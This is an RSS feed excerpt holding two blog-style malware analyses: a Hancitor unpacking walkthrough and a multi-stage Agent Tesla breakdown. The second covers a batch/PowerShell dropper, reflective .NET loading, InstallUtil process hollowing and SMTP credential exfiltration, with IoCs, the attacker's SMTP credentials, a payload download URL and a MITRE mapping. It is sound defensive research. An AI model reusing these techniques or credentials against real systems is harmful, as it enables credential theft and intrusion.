            <content:encoded><![CDATA[<h4>Extracting Payload + Static Analysis</h4><p>Hi all, today’s gonna be a short one. I have a Hancitor trojan sample from MalwareBazaar. This analysis turned out to be easier than usual. So let’s begin!</p><h4>Initial Analysis</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*NsGhFHjIlRhUA4F9baD0Jw.png" /><figcaption>Inputting sample in Detect It Easy</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XdJx30jHzaJs2r9UJdGmXw.png" /><figcaption>DIE and Entropy</figcaption></figure><p>DIE tells us that the malware is not packed. I then opened it in IDA to find out function calls and flow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xaYvBi1qOVBf4XnurobW_Q.png" /><figcaption>IDA View of binary sample</figcaption></figure><p>We find that only 1 function exists in IDA’s functions column. Meaning, the file is definitely packed; malware can’t contain just one function without any imports, etc.</p><p>If IDA shows just one function, it’s a big hint the file’s packed—that lone function is usually just a tiny stub that unpacks or loads the real malware code at runtime.</p><h4>Debugging</h4><p>So, I open x32dbg and put breakpoints at this set of APIs:</p><ul><li>VirtualAlloc (space allocation)</li><li>VirtualProtect (memory protection changes)</li></ul><p>I keep stepping over after running the file once. I come across NtProtectVirtualMemory, an API call of VirtualProtect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*2pRRHaX7sTGK4YU4aHSaIQ.png" /></figure><p>Looking at its MSDN, we see that the 2nd parameter is a pointer to the Base Address, which is what we want rn.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/312/1*fme2xp8R3UPVMdUv0pJH1A.png" /><figcaption><a href="https://ntdoc.m417z.com/ntprotectvirtualmemory">MSDN</a> view of NtProtectVirtualMemory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OEaAkolraZrwq9634UGnbw.png" /></figure><p>So now we know that 0x400000 contains the new Base Address</p><p>If we go to pop esi and dump eaxcontent, we will get the bytes in 0x400000.</p><p>Again running the exe,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZZqnPlY-3IBrK5qtOVtQbw.png" /><figcaption>VirtualAlloc call</figcaption></figure><p>Again, I encountered NtAllocateVirtualMemory, a subroutine of VirtualAlloc used the same EAX dumping principle I told you about earlier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ep5xL9KK_tZYNPbQNGpnbw.png" /></figure><p>When we run the file after, we see that bytes have been written on the previous eaxaddress.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I4oVtES1wkwcuCVjGSXX_g.png" /></figure><p>Again, repeating the same thing, because there seems to be a lot of calls to VirtualAlloc and VirtualProtect in this sample,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P-O2ATbNrnvN8nemTa9XfQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*dom7F5PO7By-z4fL0eUx3w.png" /><figcaption>After following in dump (initial)</figcaption></figure><p>The same dump, when the sample is run, becomes like the below one, possibly dealing with decryption.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eqzWUCr1IbQpTWYg6962_w.png" /></figure><p>Same stuff, over and over again…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uGU_OhjbmEEoEnFYfsWvJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wwxxRT9T_HOAsivpbC1gMw.png" /></figure><p>Until this state below, I repeated the same process, (popping stack and dumping).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*pKbaV9yDkeQLzWfm1ImMZA.png" /><figcaption>API hits</figcaption></figure><p>Run sample for the 7th time,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3zgjuEN1Lbq6j_Ixest46w.png" /><figcaption>popping eax — same strat</figcaption></figure><p>The only difference is this time, we reach the end of our set of API calls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*6LNZ-lUN9xzw-Swit0q1QA.png" /><figcaption>Final Payload</figcaption></figure><p>This means this is the final unpacked payload. Now let&#39;s extract it and reconstruct it (if needed).</p><p>For extraction, use any Process Monitoring tool,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*tMd213stotKVOe4GBo5puw.png" /><figcaption>Process Hacker View</figcaption></figure><p>Our starting Memdump address was 0x1F0000, so let’s extract the bytes starting from there,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k7C49Q-I7yGmLfXj9BZDKw.png" /><figcaption>Process Hacker Memory View</figcaption></figure><p>Save the file and open it in PE Bear for file reconstruction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I2lvc-ZhOilcXdq_tKb6CQ.png" /><figcaption>PEBear unmapping</figcaption></figure><p>Unmapping the file using the steps there, we get our final set of addresses,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*-MpA2hZAzuHt3DIIDdmt5g.png" /><figcaption>Unmapped Payload..</figcaption></figure><p>If we want to check if our file reconstruction was successful, just check that all imports are proper without any error, which means it was successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*nzHTyvueWadnTV-M5ggdaA.png" /><figcaption>IAT</figcaption></figure><p>Checking if our Base Address is also correct,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*FFb1IlCR_upVoc18tWUnkA.png" /><figcaption>File Reconstruction</figcaption></figure><p>Now, if we open the unmapped exe in IDA, we will see this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*zozDKxSBSMONKUJQnvvC4Q.png" /><figcaption>IDA Function View of unmapped file</figcaption></figure><p>Lots of functions are present, which means that this is actually not packed.</p><p>Now checking the strings of that file using DIE,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9REiajnWqeNTE_xotMvEhw.png" /><figcaption>Strings of unmapped file</figcaption></figure><p>We see a link for the C2 server (possibly; should be confirmed by dynamic analysis), and lots of commonly exploited and suspicious processes and files like svchost.exe, kernel32.dll, WININET.dll (a simple .exe file has no business importing kernel32.dll)</p><p>So yeah, that concludes our analysis blog about Hancitor. Follow for more malware content!!</p><p>Signing out,</p><p><a href="https://www.linkedin.com/in/rd-tarun">RDT</a>.</p><p>_________________________________________________________________</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dbe73849c3c2" width="1" height="1" alt=""><hr><p><a href="https://meetcyber.net/hancitor-chanitor-trojan-dbe73849c3c2">Hancitor/Chanitor Trojan</a> was originally published in <a href="https://meetcyber.net">MeetCyber</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Agent Tesla—Malware Analysis]]></title>
            <link>https://meetcyber.net/agent-tesla-malware-analysis-f5c595c11f91?source=rss-e60e03d0d176------2</link>
            <guid isPermaLink="false">https://medium.com/p/f5c595c11f91</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[data-exfiltration]]></category>
            <dc:creator><![CDATA[R.D.Tarun]]></dc:creator>
            <pubDate>Sun, 07 Sep 2025 10:11:37 GMT</pubDate>
            <atom:updated>2025-09-07T11:22:08.987Z</atom:updated>
            <content:encoded><![CDATA[<h4>A LOLBin+Critical Data Exfiltrator broken down</h4><p>Hi all, today I’m collaborating with fellow malware researcher <a href="https://www.linkedin.com/in/nitin-mithbavkar/">xto9ot</a>. We analyzed a multi-stage Agent-Tesla sample obtained from <a href="https://bazaar.abuse.ch/sample/ab59c437de57f50a9b74d2510a2f7ee951f341c6e3bfe2dc209f0677c1542d30/">MalwareBazaar</a>, delivered via a deceptive Windows batch (.bat) file.</p><h3>Executive Summary</h3><p>Agent Tesla’s attack chain involves obfuscation, LOLBins, in-memory execution, and reflection to evade detection, with the <strong>end goal of credential theft and SMTP exfiltration</strong>.</p><p>It begins with an obfuscated .bat file embedding JavaScript, executed by Windows Script Host. This triggers PowerShell, which enables TLS, checks connectivity, and downloads a disguised payload (mx1.jpg). The file contains obfuscated PowerShell that decodes and decompresses binary data to load .NET assemblies directly in memory.</p><p>Later stages use .NET loaders with calli and dynamic resolution to obscure control flow, hollow InstallUtil.exe, and inject Agent Tesla. The final payload is a GZip-compressed .NET executable featuring obfuscation, persistence, and credential harvesting.</p><p>Once running, Agent Tesla collects system/user info and credentials from browsers, email, FTP, VPN, and chat apps, exfiltrating via SMTP with hardcoded credentials. Keylogging and screen capture exist but are disabled. The malware maintains persistence and prevents duplicate execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oicDokv8mc1YIfC7uZtRmg.png" /><figcaption>File opened in Notepad++</figcaption></figure><p>The code looks too long and ragged, so we format it properly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*36jzXUMsSI5gdnw-Umc9YA.png" /></figure><p>Since we found Powershell code in the file, we knew that we had to monitor processes containing Powershell closely to analyze it properly during dynamic analysis.</p><p>Also noticed that, upon execution, the batch file silently deletes itself after invoking the obfuscated JavaScript payload (del &quot;%~f0&quot;)</p><p>None of the usual static analysis methods really helped, so we jumped into dynamic analysis with the usual tools enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*rb7z_c49m-ibhpYd0LnsSA.png" /><figcaption>Apply filters to monitor Powershell processes in Procmon.</figcaption></figure><p>Opened up FakeNet-NG to capture internet traffic, if any. Ran the BAT file,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zl7VdYv8kO2rtyBmNWEZdw.png" /><figcaption>FakeNet-NG has captured internet traffic to <strong>didatik-labor.de</strong></figcaption></figure><p>From ProcMon, we were able to extract the <strong>obfuscated PowerShell payload</strong> that the Batch JS dropper dropped.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aG6S3Dps9W_Y6GHb_BKeQQ.png" /></figure><p>Copying it into Notepad++, we were able to come up with suitable explanations pretty easily.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*CjCKT8lshH5vk0mkKVt6yw.png" /><figcaption>Explanation for the ps1 code</figcaption></figure><p>Although the file had a .jpg extension, it is not really an image. This is a disguised malicious payload, a common technique to evade file-type filters and user suspicion.</p><p>We used curlto download the image without executing it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*jY0ry9PyfgiLeL7qf7GzYQ.png" /><figcaption>usage of curl</figcaption></figure><h3>P1—mx1.jpg</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xkaqg9HxkHkc1wDgy0pVyg.png" /><figcaption>Script present in the .txt file</figcaption></figure><p>The $u8yee variable contains obfuscated binary data; the decoding mechanism was present there too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4YWjjPaLyOF-EQWky3FQwA.png" /><figcaption>for $u8yee, the decryption involved replacing all ‘A’-&gt;’00’</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/0*qzU_iacBuue6lbzG" /><figcaption>PowerShell script that decompresses the binary and prints out the readable text</figcaption></figure><p>This PowerShell script defines a function (rt45fg00) that takes a compressed byte array as input, decompresses it using GZip, and returns the decompressed byte content.</p><p>Similarly, $y74gh00rffd and $eSQy had their own decrypted content too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IlGjuCiMYQ8iICu5RcbfeA.png" /><figcaption>Decrypting $y74gh00rffd and $eSQy; the decryption involved replacing all ‘EV’-&gt;’0x’</figcaption></figure><p>Coming to the next few lines,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*udd9ol2xfisCpQCECLsM5Q.png" /></figure><pre>$gjjfdg = &quot;Load&quot; and $fljsd = [AppDomain]::CurrentDomain</pre><p>The script basically assigns the above, suggesting that it is preparing to load a .NET assembly into the current application domain.</p><p>It then calls the previously defined decompression function $rt45fg00, passing the processed hex data as input. The result of the decompression is stored in the variable $uWfkxGY, which likely contains the next-stage payload or shellcode to be executed in memory.</p><h4>Observations:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jAPztagmsDSvpgsl56VhHQ.png" /><figcaption>Last few lines of the file with my interpretation</figcaption></figure><p>The above code snippet performs in-memory loading and execution of a .NET assembly using reflection. Specifically:</p><ol><li><strong>Loads a .NET payload</strong> ($uWfkxGY) into memory using [AppDomain]::CurrentDomain.Load(...), avoiding any disk write.</li><li><strong>Invokes a method named </strong><strong>Black</strong> from a class called toooyou within the loaded assembly.</li><li><strong>Passes </strong><strong>InstallUtil.exe and a second argument (</strong><strong>$eSQy)</strong></li></ol><p>Now, we want to dump the .NET payloads into binaries so that it can be analyzed further. So we added this piece of PowerShell code to the end of both the files so that they are dumped without execution.</p><p>We dumped$uWfkxgY and $eSQyinto 2 files for analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*HhzzfgoiHTHkp3fruqhDLg.png" /><figcaption>ps1 code to dump files.</figcaption></figure><p>Inspecting the bins in Detect It Easy indicates that it&#39;s obfuscated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*brS4l5KFFF99mR-IpY1elg.png" /><figcaption>1st file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*w4Hr5W_Cu8oML282fdneMg.png" /><figcaption>2nd file</figcaption></figure><h3>P2—Loader</h3><p>As we observed the first payload is a DLL , the class and method which will be executed is toooyou and Black.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bmZcmgFMqf-XeS7F" /><figcaption>dnSpy</figcaption></figure><p>We can see it uses calli , which is a <strong>low-level IL instruction</strong> that performs an <strong>indirect method call</strong>, calli takes a <strong>function pointer</strong> (in this case toooyou.HIJIRINi1) and calls it with specified parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/0*A9xwutGcqU8V6H_L" /></figure><p>We see that a bunch of methods are loaded like this:</p><pre>toooyou.HIJIRINi1 = ldfn(IsolationDllNamegetNtIname);</pre><p>This is done inside ConcurrentSetGetLastWriteEventError(). Essentially, it&#39;s creating a list of method pointers using ldfn, and storing them in toooyou.HIJIRINi1.</p><p>Looking at IsolationDllNamegetNIname we can see that it takes a string A_5 which is <strong>InstallUtils.exe</strong> and A_6 which are our <strong>Compressed Bytes</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LRnR6WGO6kRZMDRY" /></figure><p>Inspecting the method DecompressBytes we can see that it decompresses bytes and returns the bytes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/0*4SnE91YtABdCCcNY" /></figure><p>Looking at IsolationDllNamegetNtIname, we can see it takes a string A_5 and a byte array A_6.</p><ul><li>A_5 = &quot;InstallUtil.exe&quot;</li><li>A_6 = our compressed payload</li></ul><pre>array[0] = A_5;<br>array[1] = &lt;Module&gt;.DecompressBytes(A_6);</pre><p>So now we have an array like:</p><pre>[ &quot;InstallUtil.exe&quot;, &lt;decompressed bytes&gt; ]</pre><p>This array is then passed into:</p><pre>toooyou.nejndsf().Invoke(null, A_3);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uEu3C09U5nIeq4ib" /><figcaption>nejndsf() —dynamically resolves a MethodInfo and returns it.</figcaption></figure><p>At runtime, the malware determines <strong>which method to call</strong> and then uses .Invoke() to execute it, passing an array that contains the path to InstallUtil.exe and the decompressed bytes.</p><p><strong>The Problem: </strong>The challenge with this technique is that it significantly complicates static analysis. Because the method is resolved dynamically, its exact behavior is only revealed during execution. As a result, we were unable to get it to run correctly in our testing environment.</p><blockquote>We tried building a custom loader that loads the DLL and tries to execute the method manually, but we kept running into exception handles and errors.</blockquote><p>During our research, we found that InstallUtil.exe is commonly used by <strong>Agent Tesla</strong> malware for <strong>process hollowing</strong>. Here’s how it works:</p><ul><li>InstallUtil.exe is launched</li><li>Its memory is overwritten with the <strong>Agent Tesla</strong> payload</li><li>Execution is transferred to the injected payload</li></ul><p>Agent Tesla is responsible for the usual stuff like:</p><ul><li>Data exfiltration</li><li>C2 communication</li><li>Keylogging, stealing credentials, etc.</li></ul><h3>P3—Payload (Exfiltrator)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*HC7uRxkvl_2MxWG4DZaTGw.png" /><figcaption>Payload Executable</figcaption></figure><p>Upon opening the binary in dnSpy, we will notice this executable which contains all details. <strong>This is the Payload executable.</strong></p><p>Inspecting the entry point of the executable in dnSpy, we can see the control flow obfuscation; what it does is:</p><ol><li>Sets up and enables TLS</li><li>Executes a function F7b0kY7 in the background.</li><li>Runs the application in an infinite loop so that it never ends and runs in the background.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qkuQrF-S0fxEC_QLSU2biQ.png" /></figure><p>Inspecting the method F7b0kY7 we notice the same control flow obfuscation and a few keylogging and screenlogging methods.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*KSNqQ-LLtEZW6cdoiClDjA.png" /><figcaption>Flow of method <strong>F7b0kY7: </strong>Executes 0PRvorRu2Qv; Executes BHFk(); Executes dJEDgQmz9(); Checks if <strong>keylogger is enabled; </strong>if yes, initializes and runs the keylogger; Checks if <strong>screen logger is enabled; </strong>if yes, initializes and runs the screen logger. Exits</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*hMNzNwdRZJV_tdAYNq6B6g.png" /><figcaption>Examining the configuration flags: only <strong>EnableContacts </strong>is set to <strong>true</strong>, while both <strong>EnableKeylogger </strong>and <strong>EnableScreenLogger </strong>are set to <strong>false</strong>.</figcaption></figure><p>Next we step into this function 0PRvorRu2Qv ,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*7G61yxZcTPC1-MZ6iiXxbg.png" /><figcaption>Function <strong>0PRvorRu2Qv — </strong>gets the current process name and ID, finds all running processes with the same name and kills all of them—except itself</figcaption></figure><p>This <em>peculiar behaviour</em> is often used by malware to:</p><ul><li><strong>Prevent multiple instances</strong> from running at the same time</li><li><strong>Remove sandbox clones</strong> or duplicates (used in analysis environments)</li></ul><p>Inspecting the BHFk method,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hFAL0mQ2N5jw8T9irDBtag.png" /><figcaption><strong>BHFk </strong>method</figcaption></figure><p>Inspecting the dJEDgQmz9() method,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/0*yKEf2NLaCkqEVsCs" /><figcaption><strong>dJEDgQmz9() </strong>function</figcaption></figure><ul><li><strong>Fetches contact data: </strong>Calls jCE6Hwa.HDOJUM32Ar() to get a list of EOF objects representing contact info and stores it in a List&lt;EOF&gt;.</li><li><strong>Skips execution if contact list is empty: </strong>Checks if the list is empty. If it is, it jumps to the end (IL_0158) and optionally logs contacts if enabled.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/0*UUGNGHGVSELUryCt" /><figcaption>skips execution</figcaption></figure><ul><li><strong>Initializes and builds data: </strong>Creates a StringBuilder instance and iterates through the list using enumerator . Appends the result of eof.iaWNGcMbkQ() to the string builder for each EOF.</li><li><strong>Sends the collected data: </strong>If the StringBuilder has content, it will send the contact data using:</li></ul><pre>INUs1ZPX.rgrnSZc(<br>    WCRV.sdz5zDMbsd(&quot;PW&quot;),<br>    WCRV.iUA1EiI81sW() + stringBuilder.ToString(),<br>    null,<br>    0<br>);</pre><ul><li><strong>Cleans up: </strong>Clears the StringBuilder and list.</li><li><strong>Conditionally calls another contact method: </strong>If FSNN0ox.EnableContacts is true, calls WCRV.smethod_0()</li></ul><p>Taking a look at jCE6Hwa.HDOJUM32Ar()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/0*hMr9iGoXqQis5v-K" /><figcaption><strong>jCE6Hwa.HDOJUM32Ar()</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/230/0*OpOj-z7cy2VRpN7M" /></figure><p>jCE6Hwa.HDOJUM32Ar()is responsible for stealing credentials from a wide range of applications and services. These include web browsers, email clients, FTP software, VPN tools, and communication platforms.</p><p>Looking at the method WCRV.3ElY9Ob7Kq</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/0*Zphj9vXb15p4SoC5" /><figcaption><strong>WCRV.3ElY9Ob7Kq() </strong>method</figcaption></figure><ul><li><strong>Calls a function </strong><strong>V5IPRq.hJmQ5KyTxE()</strong>: returns a list of r40fU objects.</li><li><strong>Initializes an empty list </strong><strong>list2</strong> : holds D8eWYS objects.</li><li><strong>Loops through each </strong><strong>r40fU object</strong> in the returned list: Checks if r40fU.gg4LHL.Count &gt; 0 (i.e., if it contains data). If true, it creates a new D8eWYS object with: Extension:&quot;txt&quot; ,FileBytes: UTF8-encoded contents of r40fU.XJ5avnp(), Filename:r40fU.NdNaOR247 + &quot;.txt&quot; , MimeType:&quot;text/plain&quot;</li><li>Adds this new D8eWYS object to list2.</li></ul><p><strong>Function Calls: (</strong><strong>finallyblock)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/0*k7ktkQawuWSIjjAX" /><figcaption><strong>WCRV.3ElY9Ob7Kq() </strong>method function calls</figcaption></figure><pre>INUs1ZPX.rgrnSZc(<br>    WCRV.sdz5zDMbsd(&quot;Contacts&quot;),<br>    WCRV.iUA1EiI81sW(),<br>    list2,<br>    2<br>);</pre><p>Next I found this really interesting function, ociiJ which looks like the <strong>primary exfiltrator function</strong>. It makes use of the same INUs1ZPX.rgrnSZc to collect data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*M03wi0EYGoHvQzQXSrAFRw.png" /></figure><h4>INUs1ZPX.rgrnSZc():</h4><p>Analyzing the parameters of INUs1ZPX.rgrnSZc :</p><pre>INUs1ZPX.rgrnSZc(<br>    WCRV.sdz5zDMbsd(&quot;Contacts&quot;),<br>    WCRV.iUA1EiI81sW(),<br>    &lt;other params&gt;<br>);</pre><p><strong>WCRV.sdz5zDMbsd():</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*MtAsg4BAJ-y3ORWskFOhUA.png" /><figcaption><strong>INUs1ZPX.</strong><strong>sdz5zDMbsd()</strong>—Extracting ComputerName and UserName</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/0*EH6RQpQyfHZ2FNG_" /><figcaption>Result of <strong>INUs1ZPX.</strong><strong>sdz5zDMbsd()</strong></figcaption></figure><p><strong>WCRV.iUA1EiI81sW():</strong></p><p>This method is responsible for extracting the system information and putting it in an array.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/0*PP4L2PCMT5aALbQN" /><figcaption><strong>WCRV.iUA1EiI81sW()</strong></figcaption></figure><p>To analyze what data we will obtain at that point, I set up breakpoints:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0wIMs4dmVUrWOYb1tnNTEA.png" /><figcaption>Breakpoint 1—WCRV</figcaption></figure><p>For the 2nd breakpoint, there was some logic involved:</p><ul><li>The enumerator was created only if num==24. And we know that the enumerator should be created to, well, enumerate the data to send it to the C2 server.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*890mXZVO0XzcCqYXosBXfA.png" /></figure><p>Since if that num==24 loop is triggered, num becomes 25, we will analyze the num==25 condition next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*XNViGhYH4YmlyNS5ZpTy5w.png" /></figure><p>Goes to Block_27 , let’s analyze that,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*ofd0BhpuXz8eydLaeu5WFA.png" /></figure><p>We see that Block_27 contains the code to format all data into a mailMessage and send it to the smtpServer . So <strong>putting a breakpoint at </strong>num==24<strong> is the correct choice</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*4DebUhzNsHpocyI11ocZAA.png" /><figcaption>Breakpoint 2 — WCRV</figcaption></figure><p>Also, I looked into SmtpReceiver, got the configurations involved:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/0*vMsXI9khrmY2QmZd" /><figcaption><strong>SmtpReceiver</strong> object</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/0*N7U7DrVL8-aIiKrE" /><figcaption>Configurations obtained</figcaption></figure><pre>| Field                  | Value               |<br>|------------------------|---------------------|<br>| SMTP Server            | mail.knowow.net     |<br>| SMTP Port              | 587                 |<br>| Sender Email           | mxl@knowow.net      |<br>| Receiver Email         | mx2@knowow.net      |<br>| SMTP Password          | americanboy21@      |<br>| Enable Attachments     | false               |</pre><p>Then it constructs the MailMessage with its body, attachments (if any), Headers, Subject etc. The fully constructed MailMessage object can now be viewed in memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j40Rgrfi3BmfFQGZNxo_5g.png" /><figcaption>Contents of <strong>mailMessage</strong></figcaption></figure><p>The malware then configures the SmtpClient by setting the SMTP server details then it creates a NetworkCredential object using the sender&#39;s email and password, and assigns it to the client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*DD_RSfsb2ykx1GjUJW8TAw.png" /></figure><p>We can see the SmtpClient and the NetworkCredential below after it&#39;s fully configured.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*BSHogNtARzkZ0m2yrspbwA.png" /><figcaption><strong>smtpClient</strong> object</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*fcHjPujxDHfZcuSv8--GLw.png" /><figcaption><strong>networkCredential</strong> object</figcaption></figure><h4>P4—Aftermath</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*Oy54inTDdFyzerFP2nM36A.png" /></figure><p>After sending the email:</p><ul><li>The malware checks if Keylogging or Screenlogging is enabled.</li><li>In our case it isn&#39;t, so it enters an infinite execution state by invoking Application.Run(), ensuring it continues running in the background</li></ul><h3>IoC’s</h3><p><strong>IoC’s—Files:</strong></p><pre><br>| FileName                                | Description     | SHA256                                                           | ImpHash                              |<br>|-----------------------------------------|-----------------|------------------------------------------------------------------|--------------------------------------|<br>| DOC20241.BAT                            | Initial Access  | d9002ae6089045126350070c7b0790b4eb478e9b764bfdae3ee61e2e62a0e277 |                                      |<br>| mx1.jpg                                 | Stager          | 5adf2390c4e31cec5aeec546d1d24cac3f3ef5cf8685f01829a7104c6f80f47 |                                      |<br>| GC.dll                                  | Loader          | 22eaeecc4d723e01b373b4f15fa59851566022d9c4466e2ce467d2e041b9a834 | DAE02F32A21E03CE65412F6E56942DAA      |<br>| bae1cb1e-50ef-4d61-98fa-976f3bb18426.exe| Payload         | 94491241E60BD744FF41C9F33CD39B02EE968CFCE120720BE9E8A849B8E39C0E | F34D5F2D4577ED6D9CEEC516C1F5A744      |</pre><p><strong>IoC’s—Network &amp; Other:</strong></p><pre>| Indicator                           | Description     |<br>|-------------------------------------|-----------------|<br>| https://didaktik-labor.de/mx1.jpg   | Download Server |<br>| mail.knowow.net                     | SMTP Server     |<br>| mxl@knowow.net                      | Sender Email    |<br>| mx2@knowow.net                      | Receiver Email  |<br>| americanboy21@                      | SMTP Password   |<br>| 587                                 | SMTP Port       |</pre><h3>MITRE ATT&amp;CK MAPPING</h3><pre>| Tactic            | Technique ID   | Technique Name                                       | Details                                                                                           |<br>|-------------------|----------------|------------------------------------------------------|---------------------------------------------------------------------------------------------------|<br>| Initial Access    | T1204.002      | User Execution: Malicious File                      | Malicious .bat (DOC20241.BAT) launched by user to start the chain.                               |<br>| Execution         | T1059.003      | Windows Command Shell                               | .bat executes embedded logic, launches WSH and further stages.                                   |<br>| Execution         | T1059.007      | JavaScript/JScript                                  | Obfuscated JS in .bat runs via WSH, builds/executes PowerShell.                                  |<br>| Execution         | T1059.001      | PowerShell                                          | Multiple obfuscated stages (TLS1.2, Test-Connection, WebClient download, runtime decode/exec).   |<br>| Execution         | T1105          | Ingress Tool Transfer                               | Payload downloaded (http://didaktik-labor.de/mx1.jpg).                                           |<br>| Execution         | T1620          | Reflective Code Loading                             | .NET assemblies loaded via AppDomain.CurrentDomain.Load() and invoked by reflection.             |<br>| Execution         | T1218.004      | InstallUtil (Signed Binary Proxy Execution)         | Loader abuses InstallUtil.exe as LOLBin for execution.                                           |<br>| Execution         | T1055.012      | Process Hollowing                                   | Loader replaces InstallUtil process in memory to run payload.                                    |<br>| Defense Evasion   | T1027          | Obfuscated Files or Information                     | Heavy obfuscation: token replacements, disguised extensions (.jpg), control-flow tricks.          |<br>| Defense Evasion   | T1140          | Deobfuscate/Decode Files or Information             | Runtime decoding/decompression (binary→text, GZip, token replacement).                          |<br>| Defense Evasion   | T1070.004      | Indicator Removal on Host: File Deletion            | .bat self-deletes (`del &quot;%~f0&quot;`) to reduce on-disk artifacts.                                    |<br>| Credential Access | T1555.003      | Credentials from Web Browsers                       | Harvests stored credentials from browsers (Chromium, Firefox, Edge, etc.).                       |<br>| Credential Access | T1552.001      | Credentials in Files                                | Targets credential/config files (FTP clients, The Bat!, local files).                           |<br>| Collection        | T1114.001      | Local Email Collection                              | Collects local contact/email data for exfiltration.                                              |<br>| Collection        | T1005          | Data from Local System                              | Gathers application data, artifacts, and files.                                                  |<br>| Discovery         | T1082          | System Information Discovery                        | Collects username, hostname, HWID, and execution path.                                           |<br>| Discovery         | T1057          | Process Discovery                                   | Enumerates processes, kills duplicates/sandbox clones.                                           |<br>| Exfiltration / C2 | T1048.003      | Exfiltration Over Unencrypted Non-C2 Protocol (SMTP)| Sends stolen data via SMTP (MailMessage/SmtpClient).                                             |<br>| Exfiltration / C2 | T1071.003      | Application Layer Protocol: Mail Protocols          | Uses SMTP as C2/exfiltration channel.                                                            |</pre><p>_______________________________________________________</p><p>That concludes our analysis of Agent Tesla. Thank you so much for reading till here, and big ups to <a href="https://www.linkedin.com/in/nitin-mithbavkar/"><strong>xto9ot</strong> </a>for the amazing collab ;)</p><p>That is all from my side 